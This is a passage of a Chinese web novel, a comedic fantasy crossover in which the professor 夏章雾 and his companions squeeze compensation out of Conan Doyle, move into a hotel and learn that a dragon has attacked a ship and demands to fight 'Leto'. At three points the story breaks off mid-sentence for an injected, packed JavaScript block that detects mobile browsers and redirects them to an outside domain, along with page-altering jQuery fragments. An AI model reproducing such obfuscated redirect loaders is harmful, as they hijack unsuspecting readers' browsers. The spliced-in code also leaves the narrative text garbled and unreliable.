毕竟众所周知,柯南·道尔只是一个经常被扣经费的倒霉侦探。而钟塔侍从则是背靠皇室和议会拨款的狗大户。 但道格拉斯觉得这个建议肯定还有更好的优化方案。 “比如捐给犀牛保护组织什么的。”他摸了摸下巴,认真地开始回想自己的动物朋友,小声地嘟哝道,“或者捐给马达加斯加的指狐猴……” 而夏章雾则是缓缓地挪开了自己的目光,重新看向柯南·道尔,然后挑了下眉。 “哎呀,看来就算是我们的名侦探,开机密码在专业人士面前也撑不了多久啊。” 他慢悠悠地说道,然后光明正大地往柯南·道尔的房子里面走去:“真是令人遗憾。” 正在努力思考自己的电脑浏览记录到底有没有见不得人东西的柯南道尔:“?” 这是在进行人身攻击吧!这绝对就是人生攻击吧! 他电脑的开机密码之所以很容易破解,最重要的原因难道不是开机密码这种东西本身就是可以用电子手段暴力破解的吗?这和他是不是侦探根本就没有关系啊! 他扶正帽子,骂骂咧咧地嘟哝一声,紧跟着夏章雾就跑进了自己的房子。 “看我的电脑可以,但是别翻我的浏览器和论坛发言记录啊,你们这些混蛋!”他说,“要是阿加莎知道我在钟塔侍从匿名论坛说她的坏话就完蛋了!” 这句话正好被从二楼下来的太宰治听到了。 他眨了眨眼睛,从费奥多尔那里溜走,跑到夏章雾的身后。 “哇,那好遗憾哦,道尔先生。” 确认完自家大人能保护好自己后,他探出脑袋,才用孩子天真无邪的语气说道:“我刚刚好像不小心打开了手机的录音功能,把你刚刚说出来的话全部给录制下来了耶。” 说这个的时候,太宰治还拿出了手机主动展示了一番,上面的录音显示的时间就是刚刚。 “不过好在只需要一百英镑的零花钱,我就可以主动把这个内容删掉。” 他用非常期待的语气说:“道尔先生,你也不想要阿加莎女士知道你在匿名小论坛里对她发表不满言论的事情吧?” 夏章雾拖长音调“哦”了一声,然后拿出自己的手机开始翻通讯录:“我记得我还有阿加莎的电话,让我看看…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15686052|164449||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 这时费奥多尔也走到了夏章雾身边。 “我还有女王的私人电话。”他友善地说道,“需要我帮忙拨打一下吗?” 柯南·道尔:“……” 柯南·道尔悲愤地说:“所以你们几个今天这么火急火燎地跑过来,就是来抢我钱的吧!” “哇哦,抢钱!” 正好在此时打开门进来看热闹的道格拉斯发出惊讶的声音,他用“你们玩得这么大吗”的目光看着在场的人,最后发自内心地说道:“我的意思是,抢到的钱见者有份吗?” ——于是,在最终联系了钟塔侍从有关人员后,关于夏章雾的房子被烧事件的赔偿总算是得到了初步的解决。 柯南·道尔先生“非常乐意”地掏出了钱包里面所有的英镑作为赔偿,并且这笔钱将不算在他那五十英镑的欠款内。同时,钟塔侍从将代替他支付剩下的费用,所有的赔偿开销都从他接下来的工资里面扣除。 而道格拉斯·亚当斯先生薅走了柯南·道尔家冰箱里的点心,以不吃白不吃的心态津津有味地咀嚼着,同时含糊不清地问道: “所以说,夏。你和那条龙认识吗?我都不知道你和龙挺熟悉的。” 虽然说某位道尔先生是当之无愧的压垮了贝克街222号的最后一根稻草,但说到底,最终动手的还是那条龙。而且最重要的事情在于,这条龙似乎还是专门来找夏章雾的。 夏章雾心满意足地把钱包藏好,闻言只是疑惑地“嗯?”了一声。 “我不知道啊。我只知道我以前杀过龙。”他说,然后理直气壮地看向费奥多尔,“你知道具体是什么情况吗?” 夏章雾还真不知道自己和龙的关系。非要说的话,他到现在连一条龙都没有见过。但据他自己所知,死在他手中的龙至少有两条。 一条是圣乔治屠龙里面的那个不幸反派,一条是北欧那里的龙……话说北欧能有什么龙?那里的龙传说并不算多吧? 夏章雾狐疑地摸了摸下巴,都有点想翻笔记本看看读者们知不知道这件事了。但他还是决定先听听费奥多尔的说法,毕竟读者们也不可能比这个活了几百年的家伙更清楚当年发生的事。 “如果单说我知道的内容,您杀死的龙应该有三十四条左右吧。不过龙的形象相当丰富,有的可能以现代的眼光来看不属于龙类的范畴。” 费奥多尔认真地思考了片刻,给出了一个相当准确的数字,然后又展开细讲:“比如说像龙脉、羽蛇和虹蛇之类到底属不属于蛇的范畴,可能还存在比较大的争议……” “每一个都是强大又稀有啊。我总感觉龙这种东西之所以现在看不到,有很大一部分原因是被你给杀了。” 道格拉斯一边吃糕点一边感慨:“突然觉得道尔把你惹毛后还能活到现在,真的是一件非常不可思议的事情。” “喂喂喂,干嘛这个时候还在说我!” 这是柯南·道尔抗议的声音。 “能不能别随随便便地把物种濒危的责任丢给我?如果只是被杀了三十多条就会变成现在的样子,那龙这个物种也太脆弱了吧。” 夏章雾没有理会某个人,只是虚着眼睛,发出面无表情的吐槽声:“而且这些龙的存在本质都是OOL,连生物都算不上。” 其余的三个成年人默默地看着凑在一起聊天的大人。 “果然还是不明白为什么大家就很顺理成章地接受了这个世界上有龙的设定。”坂口安吾用有些虚弱的语气说。 “不不不,如果是OOL的话以什么样子出现都正常。但我搞不懂的是为什么大家那么顺理成章地接受了大叔曾经杀过三十多条龙的事!” 太宰治皱着眉,手指捏着下巴,很是严肃地嘟哝着:“难道大叔真的很厉害吗?” 完全看不出来,明明只是一个平时非常不着调、而且会被小孩子泪汪汪的样子任意摆布的大叔而已嘛! 织田作之助看了看身边的两个人。 他其实并不太想要开口,但其他两人一人一句地这么说着,总感觉氛围到了,似乎必须也说些话才行。 于是他说:“可是重点难道不是,为什么勒托先生自己不知道有关龙的事情,反而还要去问费奥多尔先生吗?” 坂口安吾沉默了几秒。 他想起了飞机上自己看到的那一幕。 “呃,有可能是……”他艰难地说,“情侣之间的情趣吧,大概。” 96.逆流而上的 最后,那条龙的目的还是没能弄明白。 虽然它是天性仇恨人类的文学负面体,但那条晚上它表现得倒是礼貌和友好得过了头。在昨晚的故事里,唯一遭到损失的就是夏章雾那个年久失修的房子。而且房子之所以被烧,其中还有至少一半要归功于嘴欠的道尔爵士。 “有没有一种可能,那条龙就不是OOL?” 最后是吃完了所有小点心的道格拉斯·亚当斯提出了这样的猜想:“说不定它就是一条普普通通的龙形生物,过来找夏也是因为它们种族里面出现了一条OOL变成的伪龙,于是过来寻求屠龙专家的帮助……” “你的意思是在笨蛋助手杀死了三十四条龙形的OOL后,昨晚跑过来找他的反而是一条真正的龙?” 之前遭到了众人反复拷打的柯南·道尔几乎立刻就提出了异议,同时百无聊赖地拨弄着电视遥控器换台:“这想想都不可能吧?还是不要寄希望于这种巧合比较好。” 正在尝试把披萨上面的青椒捡出来的坂口安吾有些好奇地抬起头:“所以为什么道尔先生会认为之前死掉的龙都是OOL?明明也有可能是普通的龙啊。” 这个问题简单。 柯南·道尔双手抱胸,很有仪式感地冷笑了两声,然后还没开口就被旁边的费奥多尔给若无其事地抢答了。 “因为如果不是OOL这类存在,就算是危险很大的生物,勒托先生也不会特意追杀它们。” 他微笑着说:“顶多只是会在正巧遇到的时候打上一架罢了。” 正在翻看自己笔记本的夏章雾抬起头。 他咬着披萨,发出含糊不清的“唔唔”声,最后好不容易才勉强把这块披萨咽了下去。 “就连OOL的事情我也是被迫的,好吗?” 吃掉这块披萨后,夏章雾才理直气壮地开了口:“如果我不去做这种事情,我耳朵边的声音真的能够把我吵死。” 至于这句话会不会冒犯到某个相当小心眼的作者……这不重要。反正它三分钟之前出门拿快递了,此时也没有办法反驳他的话。 “符合你的性格。” 柯南·道尔靠在沙发上,懒洋洋地这么说,同时又按着遥控器换了几个新频道。 “哦哦,刚刚那个是野生动物纪录片!”正在喝冰可乐的道格拉斯眼睛瞬间亮了,“快把遥控器给我!我要看这个!” 柯南·道尔虚着眼睛看过去。 “一群动物的生理本能行为到底有什么好看的啊。”他说,“还不如看点新闻。” “可恶,但是人类自作自受的新闻明明也没有什么好看的吧!”道格拉斯大声喊道,伸手去抢遥控器,“给我给我!” 夏章雾则是无奈地叹了口气,继续吃披萨。 值得一提的是,这个披萨本质上是一个美式特辣披萨。考虑到每个人的意见,之前道格拉斯电话打过去的时候还表明要多加蘑菇、奶酪、辣椒和番茄,如果可以的话请再加一份咖喱——最后一个食材你们想想就知道是谁提议的。 结局就是披萨店员坚持拒绝做出这样一份亵渎的产品。他们之间针对此的拉锯战持续了十几分钟,房间里的每个成年人都轮流上场,最后是费奥多尔成功地说服了对方。 “所以你是怎么说服他的?” 当时道格拉斯很是钦佩地问了一句。 “哦,是这样。”费奥多尔温和地说,“我告诉他,点披萨的是贝克街222号的屋主。而且就在昨晚,222号被他克塌了。如果不把披萨送过来,等一会儿他就会亲自上门进行问候。” “等等。”夏章雾立刻警觉了起来,“这关我什么事?未来该不会出现什么222号主人会在披萨上面加咖喱的奇葩流言吧?” 这个嘛,只能说流言肯定是会出现的。 不过现在大家边看电视,边抢着换台,边吃披萨也很开心。只有太宰治分到的那块披萨辣椒粉撒得有点多。他吃了一口就差点跳起来,变成了一只红温河豚,正在到处找水喝。 夏章雾若无其事地嚼了嚼被烤得酥脆的披萨饼边,靠在费奥多尔身边继续看笔记本,打算看看读者对于目前的事情到底有没有什么看法。 「桉莉斯: 1.您大概率回到公元六世纪的斯的纳维亚半岛,瑞典南部。2.您的对手——名为尼德霍格的毒龙。身躯遍布着黑色鳞片,长有翅膀,刀枪不入,爪利,善喷火(结合《贝奥武夫》,请警惕他是含毒的)……6.我怀疑它可以穿越时空,而您杀了他三次……」 这个评论? 夏章雾看了一眼,确定里面存在着很多不对劲的地方,而且里面有部分信息已经失效了。 第一个的时间不知道是怎么判断出来的,但大概是《贝奥武夫》故事背景发生的时间。而被提到的《贝奥武夫》可能是这次的文学负面体,至于具体是不是还需要其他读者补充。 而第二个……尼德霍格是北欧神话中毁灭世界树的黑龙。且不说自己未来会不会遇到,但它绝不是自己现在要面对的那一条龙,因为那条龙并不是黑色的。道格拉斯在描述那一晚时和他说过,那是只红龙。 至于杀了三次和穿越时空,这种根本联系不起来吧?倒不如说这条龙会复活更恰当。但也有可能它们根本不是同一条龙,或者这条龙有很多条命,或者具有不死性,或者杀死只是一种暂时封印它的方式…… 鬼才知道是具体是什么情况。 “总之,仅供参考吧。” 夏章雾按着眉心,嘟哝道。 他继续往下看。 「玧末: 求什么读者,求你身边那位费佳同学去吧(摊手)」 “哈?”夏章雾停下了咀嚼披萨边的动作,发出有些迷茫的声音。 他往前面翻了翻,硬是没有找出这位读者突然炸起毛来的前因后果:总不会是她家的房子也被龙烧了吧? 而且这种对费那个谁莫名其妙的敌意又是什么情况?总不能是烧掉她家房子的就是自己身边的这个俄罗斯人吧? 考虑到二次元与三次元间巨大的差距,夏章雾谨慎地认为这种可能性不大。于是他继续往后面翻了几页。 「桉莉斯: 好吧,好吧,看来伟大的屠龙者先生用不着读者了一一身边有一个几百岁的,对于他的事情了如指掌的俄罗斯人。您将他带在身边,让他当维格拉夫,当搜索引擎吧!」 「阴暗社畜A: ……另,关于你什么都不记得还要向费佳求助这件事,我要开始造谣了哦。就是小情侣之间的情——趣嘛,谈过的懂得都懂,没谈过的也懂得都懂(阴阳怪气)……」 夏章雾看着这上面的评论,为这几个人如出一辙的语气沉思了几秒。 在排除这几个人的房子一起被某个俄罗斯人烧了的可能性后,他终于想起来到底是什么事情能让这些读者炸毛了。 “是发生什么事情了吗?” 或许是因为他脸上无奈的表情太过明显,费奥多尔微微侧过头,主动问了一句。 “不,是小家伙们吃醋了。” 夏章雾也简单地回答道,虚着眼睛戳了两下笔记本的纸页:“就是那些书里给我预言的小家伙。你应该还记得吧,小时候很喜欢你的。” 费奥多尔的目光落在笔记本上。 “吃醋?”他说。 “嗯,有点生气了。大概是因为之前关于过去的事情,我先问的是你,没有去问他们吧。但说实在话,他们擅长的也不是这个。” 夏章雾叹了口气:“总之,我先哄哄再说。” 不过实际上他也不知道怎么哄,于是只好尝试着通过道理来说服一下。 “不管怎么说,我毕竟也不能只靠你们来获取情报啊。有关于OOL的情报内容当然是只有你们才知道的,但过去几百年发生的事,问那家伙才是最合适的吧?就像如果要找龙的实时动向,我也会去问钟塔侍从要情报一样。” 他继续戳着书页,眼睛眯起:“而且啊,你们就算气成这个样子,也没有办法告诉我,我曾经杀了三十多条龙,还包括了龙脉、虹蛇和羽蛇之类玩意的情报啊。” 说到底,读者的情报虽然是解决文学负面体中不可或缺的重要部分,但也会受到作者给出视角的限制。在他穿越到中世纪之前,还有一群读者信誓旦旦地表示他已经活了几百年呢。 不过桉莉斯与A目前给出的《贝奥武夫》的情报倒是很重要。尽管他目前还是没有办法看出那本书和龙到底存在着什么样的关系就是了。 夏章雾有些头疼地把笔记本合上。 贝奥武夫故事里的毒龙,啃食世界树的尼格霍德……这两个可能都不是一条龙。如果某位俄罗斯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15691957|164449||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人没有对他的战绩进行艺术夸张,未来他可能还要去处理其他浮夸的玩意。 包括东方的龙脉、澳大利亚的创世虹蛇、阿兹特克人的第二太阳羽蛇神。 何等仙之人兮列如麻的名单。 和这些龙比起来,传说中被圣乔治砍死的龙只能算是连名字都不配有的路边一条。而这些东西他至少要杀三十四个。 算上昨晚的那条龙,整整三十五个。 “这种程度的工作量,光是想想就让人眼前一黑了啊。”夏章雾叹了口气,幽幽地说道,语气里多少有着几分指责某个不发工资的黑心老板的意思。 但画外音显然不以为意。 “没有关系啦。你想一想,之所以你能杀死三十五条龙,那就说明你命中注定能至少活着杀死其中三十四条!这样一想是不是就很欣慰?” 它在旁边发出乐观的声音:“所以你可以自信地表明什么创世神什么太阳什么毁灭世界之龙全都是你的手下败将!是不是很酷?” 但它的主角很显然不觉得这件事很酷。 “喂喂喂,所以你的意思就是不保证我不会在面对第三十五条龙时会不会死是吧!”他没好气地说道,“难道我就没有什么‘绝对不会死在战斗中’的加持吗?这种死法真的太逊了啊!” 作者沉吟了几秒。 “我不好说。”它说,“正好这本书过几天就要上架了。如果到时候上架赚不到钱,我什么样的烂尾方式都能想出来的哦。” 夏章雾被噎得一哽。 他现在只觉得三次元人类过的日子实在太好了,竟然连这种毫无作者德行与自我修养的家伙都能放出来写作。 可恶,这种毫无担当的家伙明明就应该被吊销网络写手执照吧! 就在这时,电视机在柯南·道尔和道格拉斯·亚当斯之间的剧烈争夺中被切换到了一个新的新闻频道,里面的女主持人正在播放一起巨大的海难事故。 “根据前线记者的报道,那条龙表示它来到这里的原因只是为了杀死更多的人,宣泄自己的怒火,如果想杀掉它,那就派出足以配得上它的屠龙者。它不接受其他任何解决的方案……” 龙? 这个词汇瞬间吸引了所有人的注意力。 新闻的画面上,一艘被压得挺扁的游轮正在熊熊大火之中沉没。而那只身躯几乎与游轮等长的庞然大物则是蹲伏在自己创造的火海当中,冰冷的金色眼瞳注视着上方的直升机,让人不由担心这架机器会不会也在烈火当中坠落。 但龙终究没有攻击这个小机器,只是鼻子喷出带着火星的气体,随后张开宽阔的龙翼,直接冲天而去。 于是新闻有关于现场的画面到此为止,接下来就是主持人惯有的关于公民出行安全的告诫,还有相信我们国家的超越者肯定会出手解决这次麻烦之类的话。 夏章雾凝重地看着这则新闻。 一辆游轮上百米的长度竟然只与龙差不多。就算这个长度因为算上了它修长的脖颈和尾部,显得有点水分,但这个比蓝鲸还要大出数倍的体型依旧能对任何物种造成轻松的压制。 “竟然有那么大啊。” 就连织田作之助都发出了惊讶的声音:“看上去好厉害。” “是啊,之前晚上的时候还看不太出来呢。”道格拉斯也挺惊讶的,“不过当时它的脑袋确实是从天上伸下来的就是了。不过当时我以为它的体型顶多有三十米。” “如果把它的尾巴和脖子缩成蜥蜴那样,说不定还真的只有三十米。”柯南·道尔咂吧了两下嘴,然后看向了夏章雾。 “你能打赢吗?”他问。 夏章雾沉默地回忆了一下新闻里的那个庞然大物,又想了想自己和那些拥有攻击性异能的超越者之间的战力差距,最后相当果断地选择了摆烂。 “不知道啊。”他说,“反正我失忆了。不过这个钟塔侍从应该也能解决吧。” 虽然有极大概率是文学负面体,但从未来的自己都是通过物理手段解决它们来看,现在这条龙大概率也只要砍死就行,不像之前的文学负面体那样需要寻找杀死对方的机制与方式。 简而言之就是—— 有超越者在,打什么龙啊。 这条龙一看就是个处理起来超级困难的麻烦,有这个时间还不如去找找自己接下来可以住的房子呢。 97.“战车” 众所周知,伦敦的房价很高。就算是租房子或者住旅馆也非常花钱。 同样众所周知的是,夏章雾作为传奇建筑贝克街222号的主人,在伦敦所有房产与租房中介那里声名远播。 ——考虑到存在了几百年的贝克街222号现在已经塌了,但夏章雾本人却还活着的现实,要不了几天,他就会在这个群体中更加声名远播。 造成的结果也很简单。 在伦敦,没有任何人愿意把房子卖或者租给这位令人生畏的夏教授。 没有人。 “所以要去布利切斯特那里住吗?”和大人们一起走出柯南·道尔房子的织田作之助认真地提议道,“那里的房子肯定更便宜吧?” “但布利切斯特那里确实不怎么适合住吧。” 坂口安吾吐槽道:“每天晚上都会响起各种各样瘆人的声音,还不如伦敦砰砰砰的子弹声和时不时亮起的异能力光污染。” 而且关于布利切斯特大学和它所在的镇子,勒托先生还都专门叮嘱了他不要对里面的东西使用异能,让他都不由自主地警惕了起来。 当然,这些都不是最重要的。 最重要的是…… 坂口安吾默默地看向前面的费奥多尔。 他觉得面前的这个男人肯定是想要把勒托先生拐到自己家里去的。考虑到这一点,他还是不要提出什么其他的多余建议比较好。 “我就都没有什么意见了!” 在贝克街221号连喝了好几杯奶茶的太宰治此时也从辣椒的攻击中恢复了过来,兴致勃勃地举起手:“反正不管是伦敦还是布利切斯特,每个都超级——有意思——” 走在前方的夏章雾幽幽地回过头。 然后他以迅雷不及掩耳之势迅速地揪住了太宰治的脸,然后用力地拽上一把,把小孩子揪得龇牙咧嘴。 “再有意思也不关你的事情。” 大人冷酷无情地说:“反正不管住在哪里,晚上我都会把所有的门都给锁起来的。还没有学好怎么躲子弹的话,就给我老实一点。” 太宰治揉着自己的脸颊,不爽地看着用手指戳自己脑袋的大人,脸颊在迅速充气后变成了气鼓鼓的样子,然后“嗷呜”一口就咬了上去。 夏章雾大惊失色。 他赶紧缩回手指:“不要随便咬人啊,你是狗吗!” “我才不是狗!”小孩子气愤的抗议声响起,“喜欢揪人脸的混蛋大叔咬死算啦!” 费奥多尔歪着脑袋,微笑地看着这一幕。 “是相当漂亮的反击呢,太宰先生。”他说。 “喂喂,怎么连你都在太宰那一边啊!”某个被小孩子追得转圈圈乱跑的没用成年人立刻发出了超级大的反对意见,“快过来帮忙啊!织田作你快点把太宰套进麻袋里!” 不过由于现在没有人随身带着麻袋,这种明显不合理的需求当然没有被实现。所以当阿加莎·克里斯蒂小姐路过这里的时候,看到的就是太宰治把夏章雾追得团团转的场景。 “哇哦。” 她立刻停下摩托,把护目镜往上一挪,以带着几分戏谑的欣赏目光看着这一幕:“夏教授今天是在锻炼身体吗?” 费奥多尔眯起眼睛。 “好久不见,克里斯蒂小姐。” 这位已经看够了戏的俄罗斯人礼貌地问候了一句,顺手抓住了从他这里跑过去的太宰治,提溜着就拽了起来,完全无视了某个未成年人毫无攻击力的张牙舞爪。 之前还在被追着跑的夏章雾也瞬间来了个紧急急停的刹车,不解地看着这位钟塔侍从的骑士长。 “是和OOL有关吗?” 关于克里斯蒂出现在这里的原因,他第一时间就想到了文学负面体和那条龙:“这次的龙只要用最简单的方式杀死就能解决问题,超越者完全可以处理。” 其实这种事也不太可能发生。毕竟钟塔侍从除了护短,在小心眼这方面也相当出名。 阿加莎靠在摩托车上,闻言只是挑了下眉。 “你怎么会这么觉得?”她说,“那条敢于挑衅我们的龙,我们当然会派出超越者亲自解决。就算它是OOL也一样。我来这里其实是为了其他的事情。” 说到这里,她微不可查地撇了撇嘴。 显然,这位年轻的骑士长对刚刚那声玩笑性质的招呼没人接茬感到了轻微的郁闷。但既然已经说到了正事,她还是很快就打起了精神。 “毕竟你的房子出问题也是钟塔侍从成员的缘故,而所有钟塔侍从成员都是女王的骑士,代表的是王室的体面。” 阿加莎用严肃的语气说道:“所以女王陛下决定为你在伦敦寻找一个合适的新住处。好好感谢陛下吧,夏教授。” 诶诶诶?女王会安排住处吗? 坂口安吾微微一愣,然后下意识地看向了旁边的费奥多尔先生,结果只看到了对方脸上那种惯常的标准笑容。 甚至因为他的目光过于显眼,对方还微笑着侧过头来望了他一眼。 “唔!”心里还在想着大人之间那些八卦的坂口安吾瞬间心虚地躲到了织田作之助的身后,同时欲盖弥彰地移开视线,假装自己只是不小心扫到了对方。 不知道为什么,他就是有点害怕费奥多尔,而且从来都不敢对他使用异能,总有一种要是这么做肯定会被收拾得很惨的预感。 而夏章雾就没想那么多了。 他只是很单纯地眼睛一亮。 “等等,那可以顺便把饭钱也承包一下吗?” 他很是真诚地发出询问:“虽然我们刚刚还从柯南·道尔那里敲诈到了很多钱,但重新准备衣服和日用品也超级花钱的,能省一点还是省一点比较好。” “……” 众人纷纷沉默地看向他。 你这家伙,不要把女王当成会爆金币的自动提款机啊! 不过最后夏章雾还是心满意足地得到了三餐全免的待遇。 虽然事情的真相只是女王为他准备的住处是一个非常豪华的酒店套房,只要入住就能顺便享受楼下餐厅免费自助餐的那种,但夏教授还是很满意了。 毕竟他至今为止还从来都没住过这么豪华的酒店。虽然房间总面积比他那一整栋别墅要小很多,但从装修到牢固程度都甩了贝克街222号不止一条街。 “哦哦,好舒服的沙发——突然感觉之前那间房子确实是死得其所了。” 夏章雾整个人都陷在了软绵绵的布沙发里,以相当颓废的姿态瘫成了一条咸鱼,举着手臂,懒洋洋地察看着手机里卡夫卡询问他什么时候回大学的消息。 “完全不想回去啊,比起批改那群小兔崽子的期末作业和参加那群小兔崽子的论文答辩,果然还是躺在这里比较接近正常人的生活。” 他想了想,非常果断地做出了决定。 “果然还是不回去了吧。反正他那里也有蛇会帮忙,肯定不会出什么意外。顶多就是学校里多几具或者少几具尸体的事,校长也肯定早就习惯了。” 嘴里这么嘟哝着,夏章雾打开聊天页面,心情愉快地输入“卡夫卡先生我相信你的能力,请务必加油”,最后关闭聊天软件。 完美。 倒是作者一直在旁边痛心疾首地碎碎念。 “完蛋了啊你。你怎么就这么被女王的金钱攻势给腐化了?”它恨铁不成钢地说,“给我磨炼一下吃苦的意志啊!这么贪图享乐是当不好救世主和先知的!” 稍微有点吵,不过被富婆承包食宿的夏章雾现在心情很好,并不想和这个从来没有住过豪华酒店的三流穷鬼网络写手计较。 旁边的三小只倒是在兴致勃勃地四处探索着这个套房的全貌。在此期间太宰治依靠浴室里的瓷砖,差点发明了一种全新的自杀方式,不过还是被织田作之助眼疾手快地提了起来。 “话说回来,你们提小孩子的手法怎么都和夏教授一模一样?” 陪着他们参观这个酒店的克里斯蒂小姐双手抱胸,对自己还算熟悉的俄罗斯人发出有些疑惑的询问:“这种东西难道也会传染的吗?” 费奥多尔眨了眨眼睛。 他看向夏章雾所在的方向——此时沙发上的某个教授几乎已经变成了一滩液体,浑身都在散发出摸鱼的气息——最后轻轻地笑了一下。 “这也是没办法的事。相处久了后,不知不觉就有了这种习惯呢。”他说。 “咦,这样吗?” 克里斯蒂小姐皱了下眉,回忆着经常和自己接触的人,脸上的表情逐步演化成了嫌弃:“但完全不想和某个混蛋侦探的习惯一样啊,这种事情也太糟糕了吧……” 感觉自己听到了什么奇怪八卦的太宰治瞬间从浴室里探出脑袋。 “所以克里斯蒂小姐和道尔先生很熟吗?”他仗着克里斯蒂没法用异能打死他,睁着一对假装萌萌的大眼睛,兴致勃勃地询问道,“感觉在对待道尔先生时格外特殊呢。” 聊到八卦项目,本来还在沙发上躺着的夏章雾也支棱了起来。 还没有等到阿加莎解释,他就愉快地分享起了自己以前听来的小道消息。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15696440|164449||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 其实阿加莎在年满十五岁正式加入钟塔侍从之前,就已经认识柯南·道尔了哦。” 夏章雾笑眯眯地伸手比划:“就是在五年前的世界侦探大赛上,十三岁的克里斯蒂向当时已经获得了两届冠军的道尔发出了挑战。结果就是双方的粉丝后援团在伦敦差点打起来,最后当然是克里斯蒂的粉丝赢了……” “其实最主要的原因是柯南·道尔那家伙的粉丝不知为何地有好多犯罪分子。” 阿加莎虚着眼睛补充道,最后也有些无奈地叹了口气:“当时他们喊着‘能够把我击败的男人怎么能输给一个十三岁的女孩’就冲了上来,结果被路过的钟塔侍从成员全都抓走了。” 费奥多尔也点了点头。 “当时很激烈呢。”他说,“伦敦的街道还因为这件事出现了很长时间的瘫痪。” “没错,而且那次比赛的结局也是阿加莎在推理的严密性上面更胜一筹,获得了冠军。不过阿加莎觉得当时道尔可能是在放水,所以超级不服气地在赛后找上门来。” 夏章雾笑盈盈地摊开手:“于是一来二去,事情就是这样喽。” 阿加莎扭头小声地“嘁”了一下。 她看上去还是对当年的比赛结果不太服气。 “对了,你今年还打算参加比赛吗?”夏章雾也清楚对方的想法,有些好奇地问道,“再拿下个冠军,你就和道尔的连冠齐平了。这种五年一度的超大型比赛,冠军可是很有含金量的。” “不。这种比赛又没什么意思,而且就算在决赛对上那家伙。他肯定也会因为经费的事情继续输掉的。” 阿加莎换了个双手抱胸的姿势,用不太高兴的语气说道——不得不说,她这种姿态倒是真的和柯南·道尔有点像。 但三个未成年一个都没有被她的这种语气欺骗,全都在用那种恍然大悟的眼神看着她,反倒看得这位钟塔侍从的骑士长浑身不自在了起来。 “要不我们还是看电视吧。” 她转过身,假装无事发生地拿起了遥控器:“我给你们示范一下……” “可是我们之前在道尔先生家里看过电视了耶。”太宰治凑上来,两只手背在身后,笑眯眯地说。 就连费奥多尔也点了点头。 “当时我们正好看到了龙在海上袭击游轮的消息。”他说,“现在处理得怎么样了?” 阿加莎咬了咬牙,摁下电视开关。 “呃,所以说那家伙就是很可恶!竟然让你们看到这种新闻!” 她嘟哝着说道:“放心吧,钟塔侍从的超越者现在肯定在现场。如果没有这种动员速度,以前的异能大战就白打了。嗯……我换个台,说不定现在还能看到那条龙和超越者战斗的直播。” 说完,她就快速地调了几个英国官方的新闻电视台。但完全就是一片风平浪静,完全没有龙或者超越者出现的影子。 在这样换了十几个电视台后,阿加莎的眉毛已经深深地皱了起来。就连夏章雾也意识到了不对劲,重新恢复了认真的表情。 “出问题了?”他问。 “我也在想。如果真的出现了情况,这次事件的负责人会和我打电话的。”阿加莎此时也摸出了手机,凝重地看着没有发出声响的手机。 “有可能是在交流。” 费奥多尔突然说道:“那条龙明显是有智慧且愿意交流的,他们需要在交流的最终结果得出后再通知您。” 他没有多说。但在场的人都知道,面对这种主动挑衅他们的敌人,钟塔侍从绝对不会心平气和地见到后就好好交流。一般出现这种情况,只能说明一件事。 他们无法——或者需要付出不小的代价才能击败对方。 夏章雾眯起眼睛。 “去的人应该不是莎士比亚吧?”他直接报出了钟塔侍从最强超越者的名字。 阿加莎的嘴唇已经抿成了一条直线。 “不,是狄更斯。”她说。 夏章雾的眼角跳了跳。 ——哦豁,那似乎也很不乐观的样子。 就在这时,阿加莎的电话终于响了。 她满脸严肃地举起手机,听了一会儿对方说的话,最后“嗯”了一声就挂断了通话。 然后这位骑士长抬起头,满脸正色地看着面前的人类学教授。 “狄更斯已经确定了,那条龙不会受到任何伤害的影响。” 她说:“还有,它说自己只接受来自‘勒托’的挑战。如果那个人不打算和它战斗,它将继续采取自己的行动,直到他愿意前去见它为止。” 98.当事人有什么头猪吗 这句话一说出口,大家所有人的目光都很有默契地共同转移到了夏章雾的身上。 虽然这里面绝大多数人都不知道夏章雾为什么还有“勒托”这个名字,但并不妨碍他们明白这条龙指名道姓想要找的人到底是谁。 而夏章雾则是深深地皱起了眉。 他就知道,作者从来不会给他逃避职责的机会。如果这条龙就是新一卷的文学负面体,那他总要亲自去面对,并且杀死它。 但是…… “任何方法都没有办法起作用?” 他重复了一遍这句话。 这件事放在其他文学负面体身上很正常。 它们作为自然现象,无法用简单直接的暴力手段杀死。必须要来自三次元的信息,寻找出它们所象征的事物、形成的根源,才能找出杀死它们的方法。就像是刀剑与枪械无法杀死火,但水却可以将其浇灭。 但龙不一样。 ——或者说,是读者口中名为“贝奥武夫”的文学负面体不一样。 按照费奥多尔的说法,未来的他就是使用了这种最简单暴力的方式,在过去杀死了三十多条类龙的生物。 